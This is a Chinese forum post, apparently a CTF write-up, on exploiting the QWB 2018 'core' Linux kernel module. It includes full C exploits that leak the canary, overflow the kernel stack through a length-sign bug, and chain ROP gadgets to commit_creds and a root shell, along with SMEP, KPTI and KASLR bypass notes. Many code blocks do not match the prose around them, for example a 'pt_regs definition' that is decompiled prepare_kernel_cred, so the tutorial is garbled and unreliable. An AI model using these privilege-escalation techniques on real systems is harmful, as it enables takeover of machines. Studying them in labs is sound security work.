Kernel Stack栈溢出攻击及保护绕过

铁佛  金牌会员 | 2024-9-23 19:15:44 | 显示全部楼层 | 阅读模式
打印 上一主题 下一主题
楼主

主题 879|帖子 879|积分 2637

前言

本文介绍Linux内核的栈溢出攻击，和内核一些保护的绕过手法，通过一道内核题及其变体从浅入深一步步走进kernel世界。
QWB_2018_core

题目分析

start.sh
  1. qemu-system-x86_64 \
  2.     -m 128M \
  3.     -kernel ./bzImage \
  4.     -initrd  ./core.cpio \
  5.     -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
  6.     -s \
  7.     -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
  8.     -nographic  \
复制代码
开启了kaslr保护。
如果自己编译的 qemu 可能会报错network backend ‘user‘ is not compiled into this binary，解决方法就是sudo apt-get install libslirp-dev，然后重新编译 ./configure --enable-slirp。
init
解压 core.cpio(最简朴的方式就是在ubuntu里，右击提取到此处)，分析 init 文件：
  1. #!/bin/sh
  2. mount -t proc proc /proc
  3. mount -t sysfs sysfs /sys
  4. mount -t devtmpfs none /dev
  5. /sbin/mdev -s
  6. mkdir -p /dev/pts
  7. mount -vt devpts -o gid=4,mode=620 none /dev/pts
  8. chmod 666 /dev/ptmx
  9. cat /proc/kallsyms > /tmp/kallsyms
  10. echo 1 > /proc/sys/kernel/kptr_restrict
  11. echo 1 > /proc/sys/kernel/dmesg_restrict
  12. ifconfig eth0 up
  13. udhcpc -i eth0
  14. ifconfig eth0 10.0.2.15 netmask 255.255.255.0
  15. route add default gw 10.0.2.2
  16. insmod /core.ko # 加载内核模块core.ko
  17. ​
  18. setsid /bin/cttyhack setuidgid 1000 /bin/sh
  19. echo 'sh end!\n'
  20. umount /proc
  21. umount /sys
  22. ​
  23. poweroff -d 0  -f
复制代码

  • 第 9 行中把 kallsyms 的内容生存到了 /tmp/kallsyms 中，那么我们就能从 /tmp/kallsyms 中读取 commit_creds，prepare_kernel_cred 的函数的地址了。
  • 第 10 行把 kptr_restrict 设为 1，如许就不能通过 /proc/kallsyms 查看函数地址了，但第 9 行已经把此中的信息生存到了一个可读的文件中，这句就无关紧要了。
  • 第 11 行把 dmesg_restrict 设为 1，如许就不能通过 dmesg 查看 kernel 的信息了。
  • 第 18 行设置了定时关机，为了避免做题时产生干扰，直接把这句删掉然后重新打包。
里面还有一个 gen_cpio.sh 脚本，用于快速打包。
  1. find . -print0 \
  2. | cpio --null -ov --format=newc \
  3. | gzip -9 > $1
复制代码


  • KASLR：
    Kernel Address Space Layout Randomization(内核地址空间布局随机化)，开启后，允许kernel image加载到VMALLOC区域的任何位置。在未开启KASLR保护机制时，内核代码段的基址为 0xffffffff81000000，direct mapping area 的基址为 0xffff888000000000。
  • FG-KASLR：
    Function Granular Kernel Address Space Layout Randomization细粒度的 kaslr，函数级别上的 KASLR 优化。该保护只是在代码段打乱次序，在数据段偏移不变，比方 commit_creds 函数的偏移改变但是 init_cred 的偏移不变。
  • Dmesg Restrictions：
    通过设置/proc/sys/kernel/dmesg_restrict为1, 可以将dmesg输出的信息视为敏感信息(默认为0)
  • Kernel Address Display Restriction：
    内核提供控制变量 /proc/sys/kernel/kptr_restrict 用于控制内核的一些输出打印。

    • kptr_restrict == 2 :内核将符号地址打印为全 0 , root 和普通用户都没有权限.
    • kptr_restrict == 1 : root 用户有权限读取,普通用户没有权限.
    • kptr_restrict == 0 : root 和普通用户都可以读取.

core.ko
检查一下保护。
  1. ❯ checksec core/core.ko
  2. [*] '/home/pwn/kernel/pwn/give_to_player/core/core.ko'
  3.    Arch:     amd64-64-little
  4.    RELRO:    No RELRO
  5.    Stack:    Canary found
  6.    NX:       NX enabled
  7.    PIE:      No PIE (0x0)
复制代码
使用 IDA 继承分析.ko文件。
init_module() 注册了 /proc/core，core_fops 时其注册的file_operations布局体实例，碰面会做介绍。
  1. __int64 init_module()
  2. {
  3.  core_proc = proc_create("core", 438LL, 0LL, &core_fops);
  4.  printk(&unk_2DE);
  5.  return 0LL;
  6. }
复制代码
exit_core()删除 /proc/core。
  1. __int64 exit_core()
  2. {
  3.  __int64 result; // rax
  4. ​
  5.  if ( core_proc )
  6.    result = remove_proc_entry("core");
  7.  return result;
  8. }
复制代码
core_ioctl() 定义了三条命令，分别调用 core_read(), core_copy_func()和设置全局变量 off。
  1. __int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3)
  2. {
  3.  switch ( a2 )
  4.   {
  5.    case 0x6677889B:
  6.      core_read(a3);
  7.      break;
  8.    case 0x6677889C:
  9.      printk(&unk_2CD);
  10.      off = a3;
  11.      break;
  12.    case 0x6677889A:
  13.      printk(&unk_2B3);
  14.      core_copy_func(a3);
  15.      break;
  16.   }
  17.  return 0LL;
  18. }
复制代码
core_read() 从 v4[off] 拷贝 64 个字节到用户空间，但要注意的是全局变量 off 是我们可以或许控制的，因此可以公道的控制 off 来 leak canary 和一些地址 。
  1. void __fastcall core_read(__int64 a1)
  2. {
  3.  __int64 v1; // rbx
  4.  char *v2; // rdi
  5.  signed __int64 i; // rcx
  6.  char v4[64]; // [rsp+0h] [rbp-50h]
  7.  /*
  8.  * canary保存在rsp+0x40的位置，
  9.  * 我们通过设置off为0x40，即可将其读取出来。
  10.  */
  11.  unsigned __int64 v5; // [rsp+40h] [rbp-10h]
  12. ​
  13.  v1 = a1;
  14.  v5 = __readgsqword(0x28u);
  15.  printk("\x016core: called core_read\n");
  16.  printk("\x016%d %p\n");
  17.  v2 = v4;
  18.  for ( i = 16LL; i; --i )
  19.   {
  20.    *(_DWORD *)v2 = 0;
  21.    v2 += 4;
  22.   }
  23.  strcpy(v4, "Welcome to the QWB CTF challenge.\n");
  24.  if ( copy_to_user(v1, &v4[off], 64LL) )
  25.    __asm { swapgs }
  26. }
复制代码
core_copy_func() 从全局变量 name 中拷贝数据到局部变量中，长度是由我们指定的，当要注意的是 qmemcpy 用的是 unsigned __int16，但传递的长度是 signed __int64，因此如果控制传入的长度为 0xffffffffffff0000|(0x100) 等值，就可以栈溢出了。
  1. __int64 __fastcall core_copy_func(__int64 a1)
  2. {
  3.  __int64 result; // rax
  4.  _QWORD v2[10]; // [rsp+0h] [rbp-50h] BYREF
  5. ​
  6.  v2[8] = __readgsqword(0x28u);
  7.  printk(&unk_215);
  8.  // 这里用的jg判断，为有符号判断，0xffffffffffff0000|(0x100) 会判定为负从而绕过。
  9.  if ( a1 > 63 )
  10.   {
  11.    printk(&unk_2A1);
  12.    return 0xFFFFFFFFLL;
  13.   }
  14.  else
  15.   {
  16.    result = 0LL;
  17.    // 栈溢出。
  18.    qmemcpy(v2, &name, (unsigned __int16)a1);
  19.   }
  20.  return result;
  21. }
复制代码
core_write() 向全局变量 name 上写，如许通过 core_write() 和 core_copy_func() 就可以控制 ropchain 了 。
  1. signed __int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3)
  2. {
  3.  unsigned __int64 v3; // rbx
  4. ​
  5.  v3 = a3;
  6.  printk("\x016core: called core_writen");
  7.  if ( v3 <= 0x800 && !copy_from_user(name, a2, v3) )
  8.    return (unsigned int)v3;
  9.  printk("\x016core: error copying data from userspacen");
  10.  return 0xFFFFFFF2LL;
  11. }
复制代码
kernel rop with KPIT

将 CPU 类型修改为 kvm64 后开启了 KPTI 保护。
  1. -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr"
复制代码
KPTI：
kernel page-table isolation，内核页表隔离，进程页表隔离。旨在更好地隔离用户空间与内核空间的内存来提高安全性。KPTI通过完全分离用户空间与内核空间页表来解决页表泄露。一旦开启了KPTI,由于内核态和用户态的页表不同，以是如果使用 ret2user或内核执行ROP返回用户态时，由于内核态无法确定用户态的页表，就会报出一个段错误。可以使用内核现有的gadget将 cr3 与 0x1000 异或(第13位置0)来完成从用户态PGD转换成内核态PGD。
使用思路

比较简朴的方法是借助 swapgs_restore_regs_and_return_to_usermode 返回用户态。该函数是内核在 arch/x86/entry/entry_64.S 中提供的一个用于完成内核态到用户态切换的函数。固然我们也可以使用内核的gadget将cr3的第13位置0(与0x1000异或)来完成从用户态PGD转换成内核态PGD。
  1. ...
  2. setsid /bin/cttyhack setuidgid 0 /bin/sh
  3. ...
复制代码
exp
  1. / # lsmod
  2. core 16384 0 - Live 0xffffffffc0000000 (O)
复制代码
使用 pt_regs 构造 rop

qemu启动脚本
  1. -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr"
复制代码
查看entry_SYSCALL_64 这一用汇编写的函数内部，注意到当程序进入到内核态时，该函数会将全部的寄存器压入内核栈上，形成一个 pt_regs布局体，该布局体实质上位于内核栈底，定义如下：
  1. _DWORD *__fastcall prepare_kernel_cred(__int64 a1)
  2. {
  3. _DWORD *v1; // rbx
  4. int *task_cred; // rbp
  5. ​
  6. v1 = (_DWORD *)kmem_cache_alloc(qword_FFFFFFFF82735900, 20971712LL);
  7. if ( !v1 )
  8. return 0LL;
  9. if ( a1 )
  10. {
  11. task_cred = (int *)get_task_cred(a1);
  12. }
  13. else
  14. {
  15. _InterlockedIncrement(dword_FFFFFFFF8223D1A0);
  16. task_cred = dword_FFFFFFFF8223D1A0; // init_cred
  17. }
  18. [......]
  19. }
复制代码
内核栈只有一个页面的巨细，而 pt_regs 布局体则固定位于内核栈栈底，当我们劫持内核布局体中的某个函数指针时（比方 seq_operations->start），在我们通过该函数指针劫持内核执行流时 rsp 与 栈底的相对偏移通常是不变的。
而在系统调用当中过程有很多的寄存器其实是不一定能用上的，比如 r8 ~ r15，这些寄存器为我们布置 ROP 链提供了可能，我们不难想到：只需要寻找到一条形如 "add rsp, val ; ret" 的gadget便可以或许完成ROP，在进入内核态前像寄存器写入一些值，看那些寄存器可以被生存，以便后续写入gadget。
KPTI pass：使用 seq_operations + pt_regs
布局体 seq_operations 的条目如下：
  1. size_t user_cs, user_ss, user_rflags, user_sp;
  2. void saveStatus()
  3. {
  4.    __asm__("mov user_cs, cs;"
  5.            "mov user_ss, ss;"
  6.            "mov user_sp, rsp;"
  7.            "pushf;"
  8.            "pop user_rflags;"
  9.            );
  10.    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
  11. }
复制代码

  • 当我们打开一个 stat 文件时（如 /proc/self/stat）便会在内核空间中分配一个 seq_operations 布局体
  • 当我们 read 一个 stat 文件时，内核会调用其 proc_ops 的 proc_read_iter 指针，然后调用 seq_operations->start 函数指针
使用思路

这次我们限制溢出只能覆盖返回地址，此时需要栈迁移到其他地方构造 rop 。此中一个思路就是在 pt_regs 上构造 rop 。我们在调用 core_copy_func 函数之前先将寄存器设置为几个特殊的值，然后再 core_copy_func 函数的返回处下断点。
  1. |----------------------|
  2. | RIP                  |<== low mem
  3. |----------------------|
  4. | CS                   |
  5. |----------------------|
  6. | EFLAGS               |
  7. |----------------------|
  8. | RSP                  |
  9. |----------------------|
  10. | SS                   |<== high mem
  11. |----------------------|
复制代码
数字没变的寄存器就是我们可以或许控制的，可以被我们用来写 gadget。
  1. ↓   swapgs
  2.    iretq
  3.    user_shell_addr
  4.    user_cs
  5.    user_eflags //64bit user_rflags
  6.    user_sp
  7.    user_ss
复制代码
新版本内核对抗使用 pt_regs 进行攻击的办法

内核主线在 这个 commit 中为系统调用栈添加了一个偏移值，这意味着 pt_regs 与我们触发劫持内核执行流时的栈间偏移值不再是固定值：
  1. #include <fcntl.h>
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <string.h>
  5. #include <sys/types.h>
  6. #include <unistd.h>
  7. #include <sys/ioctl.h>
  8. ​
  9. #define KERNCALL __attribute__((regparm(3)))
  10. /* /tmp/kallsyms 保存的符号地址，这里保存的是未开启kaslr的地址 */
  11. void *(*prepare_kernel_cred)(void *) KERNCALL = (void *) 0xFFFFFFFF8109CCE0;
  12. void *(*commit_creds)(void *) KERNCALL = (void *) 0xFFFFFFFF8109C8E0;
  13. void *init_cred = (void *) 0xFFFFFFFF8223D1A0;
  14. ​
  15. void get_shell()
  16. {
  17.    system("/bin/sh");
  18. }
  19. ​
  20. void get_root() {
  21.    commit_creds(init_cred);
  22.    // commit_creds(prepare_kernel_cred(0));
  23.    asm("swapgs;"
  24.        "mov rsp, tf_addr;"
  25.        "iretq;");
  26. }
  27. ​
  28. struct trap_frame {
  29.    size_t user_rip;
  30.    size_t user_cs;
  31.    size_t user_rflags;
  32.    size_t user_sp;
  33.    size_t user_ss;
  34. } __attribute__((packed));
  35. ​
  36. struct trap_frame tf;
  37. size_t user_cs, user_rflags, user_sp, user_ss, tf_addr = (size_t) &tf;
  38. ​
  39. void save_status() {
  40.    __asm__("mov user_cs, cs;"
  41.            "mov user_ss, ss;"
  42.            "mov user_sp, rsp;"
  43.            "pushf;"
  44.            "pop user_rflags;");
  45.    tf.user_rip = (size_t) get_shell;
  46.    tf.user_cs = user_cs;
  47.    tf.user_rflags = user_rflags;
  48.    tf.user_sp = user_sp - 0x1000;
  49.    tf.user_ss = user_ss;
  50.    puts("[*] status has been saved.");
  51. }
  52. ​
  53. int core_fd;
  54. ​
  55. void core_read(char *buf) {
  56.    ioctl(core_fd, 0x6677889B, buf);
  57. }
  58. ​
  59. void set_off(size_t off) {
  60.    ioctl(core_fd, 0x6677889C, off);
  61. }
  62. ​
  63. void core_copy_func(size_t len) {
  64.    ioctl(core_fd, 0x6677889A, len);
  65. }
  66. ​
  67. void core_write(char *buf, size_t len) {
  68.    write(core_fd, buf, len);
  69. }
  70. ​
  71. /* 计算开启kaslr后的偏移，重定位相关函数和结构体的地址 */
  72. void rebase() {
  73.    FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
  74.    if (kallsyms_fd < 0) {
  75.        puts("[-] Failed to open kallsyms.\n");
  76.        exit(-1);
  77.    }
  78.    char name[0x50], type[0x10];
  79.    size_t addr;
  80.    while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
  81.        size_t offset = -1;
  82.        if (!strcmp(name, "commit_creds")) {
  83.            offset = addr - (size_t) commit_creds;
  84.        } else if (!strcmp(name, "prepare_kernel_cred")) {
  85.            offset = addr - (size_t) prepare_kernel_cred;
  86.        }
  87.        if (offset != -1) {
  88.            printf("[*] offset: %p\n", offset);
  89.            commit_creds = (void *) ((size_t) commit_creds + offset);
  90.            prepare_kernel_cred = (void *) ((size_t) prepare_kernel_cred + offset);
  91.            init_cred = (void *) ((size_t) init_cred + offset);
  92.            break;
  93.        }
  94.    }
  95.    printf("[*] commit_creds: %p\n", (size_t) commit_creds);
  96.    printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
  97. }
  98. ​
  99. size_t get_canary() {
  100.    set_off(0x40);
  101.    char buf[0x40];
  102.    core_read(buf);
  103.    return *(size_t *) buf;
  104. }
  105. ​
  106. int main() {
  107.    rebase();
  108.    save_status();
  109.    core_fd = open("/proc/core", O_RDWR);
  110.    if (core_fd < 0) {
  111.        puts("[-] Failed to open core.");
  112.        exit(-1);
  113.    }
  114.    size_t canary = get_canary();
  115.    printf("[*] canary: %p\n", canary);
  116.    char buf[0x100];
  117.    memset(buf, '\x00', sizeof(buf));
  118.    *(size_t *) &buf[0x40] = canary;
  119.    *(void **) &buf[0x50] = get_root; // 覆盖返回地址
  120.    core_write(buf, sizeof(buf));
  121.    // jg 有符号判断，判其为负数，qmemcpy() 第三个参数取其后16位，导致溢出。
  122.    core_copy_func(0xffffffffffff0000 | sizeof(buf));
  123.    return 0;
  124. }
复制代码
固然，若是在这个随机偏移值较小且我们仍有足够多的寄存器可用的环境下，仍然可以通过布置一些 slide gadget 来继承完成使用，不过稳固性也大幅下降了。
exp
  1. find . | cpio -o -H newc > ../rootfs.imgs
复制代码
执行 add_rsp_0xc8_pop*4_ret 时栈布局，rsp抬高0xc8+0x20后 ret 会执行到我们的 shellcode。
[img=720,430.96153846153845]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202409231531566.png[/img]

ret2dir

如果 ptregs 所在的内存被修改了导致可控内存变少，我们可以使用 ret2dir 的使用方式将栈迁移至内核的线性映射区。不同版本内核的线性映射区可以从内核源码文档的mm.txt查看。
[img=720,157.10247349823322]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202409231531567.png[/img]

ret2dir 是哥伦比亚大学网络安全实行室在 2014 年提出的一种辅助攻击手法，主要用来绕过 smep、smap、pxn 等用户空间与内核空隔断离的防护手段，原论文。 linux 系统有一部分物理内存区域同时映射到用户空间和内核空间的某个物理内存地址。一块区域叫做 direct mapping area，即内核的线性映射区。，这个区域映射了全部的物理内存。我们在用户空间中布置的 gadget 可以通过 direct mapping area 上的地址在内核空间中访问到。
[img=720,346.9146238377008]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202409231531568.png[/img]

但需要注意的是在新版的内核当中 direct mapping area 已经不再具有可执行权限，因此我们很难再在用户空间直接布置 shellcode 进行使用，但我们仍能通过在用户空间布置 ROP 链的方式完成使用。
使用思路


  • 在用户空间大量喷洒我们的gadget: add_rsp_0xe8_ret
  • 返回地址覆盖为对应内核版本的线性映射区+0x7000000的位置。
  • 使用pt_regs生存的pop_rbp_ret; target_addr; leave;ret 来完成栈迁移。
  • 执行线性映射区的shellcode。
exp
  1. from pwn import *
  2. import base64
  3. #context.log_level = "debug"
  4. ​
  5. with open("./exp", "rb") as f:
  6.    exp = base64.b64encode(f.read())
  7. ​
  8. p = remote("127.0.0.1", 11451)
  9. #p = process('./run.sh')
  10. try_count = 1
  11. while True:
  12.    p.sendline()
  13.    p.recvuntil("/ $")
  14. ​
  15.    count = 0
  16.    for i in range(0, len(exp), 0x200):
  17.        p.sendline("echo -n "" + exp[i:i + 0x200] + "" >> /tmp/b64_exp")
  18.        count += 1
  19.        log.info("count: " + str(count))
  20. ​
  21.    for i in range(count):
  22.        p.recvuntil("/ $")
  23.    
  24.    p.sendline("cat /tmp/b64_exp | base64 -d > /tmp/exploit")
  25.    p.sendline("chmod +x /tmp/exploit")
  26.    p.sendline("/tmp/exploit ")
  27.    break
  28. ​
  29. p.interactive()
复制代码
流程
（1）修改返回地址为线性映射区的地址，大概率会执行到add_rsp_0xe8_ret将栈抬升到pt_regs处，执行我们负责栈迁移的shell_code。

（2）将栈迁移到我们目的地址后，大量的slider gadget将栈不断抬升到get_root代码处，完成提权。

kernel rop + ret2user

使用思路

这种方法现实上是将前两种方法团结起来，同样可以绕过 smap 和 smep 保护。大体思路是先使用 rop 设置 cr4 为 0x6f0 （这个值可以通过用 cr4 原始值 & 0xFFFFF 得到）关闭 smep ， 然后 iret 到用户空间去执行提权代码。
[img=720,177.3019271948608]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202409231531571.jpg[/img]

比方，当
  1. qemu-system-x86_64 \
  2.     -m 128M \
  3.     -kernel ./bzImage \
  4.     -initrd  ./core.cpio \
  5.     -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr" \
  6.     -s  \
  7.     -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
  8.     -nographic  \
  9.     -cpu qemu64,+smep,+smap
复制代码
时，smep 保护开启。而 CR4 寄存器是可以通过 mov 指令修改的，因此只需要
  1. #include <fcntl.h>
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <string.h>
  5. #include <sys/types.h>
  6. #include <unistd.h>
  7. #include <sys/ioctl.h>
  8. ​
  9. // from vmlinux
  10. size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
  11. size_t commit_creds = 0xFFFFFFFF8109C8E0;
  12. size_t init_cred = 0xFFFFFFFF8223D1A0;
  13. size_t pop_rdi_ret = 0xffffffff81000b2f;
  14. size_t pop_rdx_ret = 0xffffffff810a0f49;
  15. size_t pop_rcx_ret = 0xffffffff81021e53;
  16. /*
  17. * （1）如果使用 commit_creds(prepare_kernel_cred(NULL))；
  18. * 由于找不到 mov rdi, rax; ret; 这条 gadget ，
  19. * 因此需要用 mov rdi, rax; call rdx; 代替，其中 rdx 指向 pop rcx; ret;
  20. * 可以清除 call 指令压入栈中的 rip ，因此相当于 ret 。
  21. * （2）如果使用 commit_creds(init_cred);
  22. * 则只需要 pop rdi; ret 即可。
  23. */
  24. size_t mov_rdi_rax_call_rdx = 0xffffffff8101aa6a;
  25. size_t swapgs_popfq_ret = 0xffffffff81a012da;
  26. size_t iretq = 0xffffffff81050ac2;
  27. ​
  28. void get_shell() {
  29.    system("/bin/sh");
  30. }
  31. ​
  32. size_t user_cs, user_rflags, user_sp, user_ss;
  33. ​
  34. void save_status() {
  35.    __asm__("mov user_cs, cs;"
  36.            "mov user_ss, ss;"
  37.            "mov user_sp, rsp;"
  38.            "pushf;"
  39.            "pop user_rflags;");
  40.    puts("[*] status has been saved.");
  41. }
  42. ​
  43. int core_fd;
  44. ​
  45. void core_read(char *buf) {
  46.    ioctl(core_fd, 0x6677889B, buf);
  47. }
  48. ​
  49. void set_off(size_t off) {
  50.    ioctl(core_fd, 0x6677889C, off);
  51. }
  52. ​
  53. void core_copy_func(size_t len) {
  54.    ioctl(core_fd, 0x6677889A, len);
  55. }
  56. ​
  57. void core_write(char *buf, size_t len) {
  58.    write(core_fd, buf, len);
  59. }
  60. ​
  61. void rebase() {
  62.    FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
  63.    if (kallsyms_fd < 0) {
  64.        puts("[-] Failed to open kallsyms.\n");
  65.        exit(-1);
  66.    }
  67.    char name[0x50], type[0x10];
  68.    size_t addr;
  69.    while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
  70.        size_t offset = -1;
  71.        if (!strcmp(name, "commit_creds")) {
  72.            offset = addr - (size_t) commit_creds;
  73.        } else if (!strcmp(name, "prepare_kernel_cred")) {
  74.            offset = addr - (size_t) prepare_kernel_cred;
  75.        }
  76.        if (offset != -1) {
  77.            printf("[*] offset: %p\n", offset);
  78.            commit_creds += offset;
  79.            prepare_kernel_cred += offset;
  80.            init_cred += offset;
  81.            pop_rdi_ret += offset;
  82.            pop_rdx_ret += offset;
  83.            pop_rcx_ret += offset;
  84.            mov_rdi_rax_call_rdx += offset;
  85.            swapgs_popfq_ret += offset;
  86.            iretq += offset;
  87.            break;
  88.        }
  89.    }
  90.    printf("[*] commit_creds: %p\n", (size_t) commit_creds);
  91.    printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
  92. }
  93. ​
  94. size_t get_canary() {
  95.    set_off(64);
  96.    char buf[64];
  97.    core_read(buf);
  98.    return *(size_t *) buf;
  99. }
  100. ​
  101. int main() {
  102.    save_status();
  103.    rebase();
  104. ​
  105.    core_fd = open("/proc/core", O_RDWR);
  106.    if (core_fd < 0) {
  107.        puts("[-] Failed to open core.");
  108.        exit(-1);
  109.    }
  110. ​
  111.    size_t canary = get_canary();
  112.    printf("[*] canary: %p\n", canary);
  113. ​
  114.    char buf[0x100];
  115.    memset(buf, '\x00', sizeof(buf));
  116.    *(size_t *) &buf[0x40] = canary;
  117. ​
  118.    size_t *rop = (size_t *) &buf[0x50], it = 0;
  119.    
  120.    rop[it++] = pop_rdi_ret;
  121.    rop[it++] = 0;
  122.    rop[it++] = prepare_kernel_cred;
  123.    rop[it++] = pop_rdx_ret; // rdx ==> pop_rcx_ret_addr
  124.    rop[it++] = pop_rcx_ret;
  125.    // rax==prepare_kernel_cred(0), cal rdx ==> push commit_creds_addr, then pop_rcx_ret
  126.    rop[it++] = mov_rdi_rax_call_rdx;
  127.    rop[it++] = commit_creds;
  128.    
  129.    rop[it++] = swapgs_popfq_ret;
  130.    rop[it++] = 0;
  131.    rop[it++] = iretq;
  132.    rop[it++] = (size_t) get_shell;
  133.    rop[it++] = user_cs;
  134.    rop[it++] = user_rflags;
  135.    rop[it++] = user_sp;
  136.    rop[it++] = user_ss;
  137. ​
  138.    core_write(buf, sizeof(buf));
  139. ​
  140.    core_copy_func(0xffffffffffff0000 | sizeof(buf));
  141. ​
  142.    return 0;
  143. }
复制代码
即可关闭 smep 保护。
搜刮一下从 vmlinux 中提取出的 gadget，很轻易就能达到这个目的。

  • 如何查看 CR4 寄存器的值？
    gdb 无法查看 cr4 寄存器的值，可以通过kernel crash 时的信息查看。为了关闭 smep 保护，常用一个固定值 0x6f0，即 mov cr4, 0x6f0。
exp

注意这里 smap 保护不能直接关闭，因此不能像前面 ret2usr 那样直接在 exp 中写入 trap frame 然后栈迁移到 trap frame 的地址，而是在 rop 中构造 trap frame 布局。
  1. #!/bin/sh
  2. qemu-system-x86_64 \
  3.  -m 256M \
  4.  -kernel ./bzImage \
  5.  -initrd ./core.cpio \
  6.  -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr" \
  7.  -s \
  8.  -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
  9.  -nographic \
  10.  -cpu kvm64,+smep,+smap
复制代码
更多网安技能的在线实操练习，请点击这里>>
  

免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！更多信息从访问主页：qidao123.com:ToB企服之家，中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看，没有账号？立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览
返回列表

快速回复

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

铁佛

金牌会员
这个人很懒什么都没写!

楼主热帖

标签云

挺好的 服务器
微信订阅号
微信服务号
微信客服
小程序
H5
关于我们 商务合作 网站地图
©Copyright 2022-2024 杭州祥升科技有限公司 版权所有 浙ICP备20004199号
快速回复 返回顶部 返回列表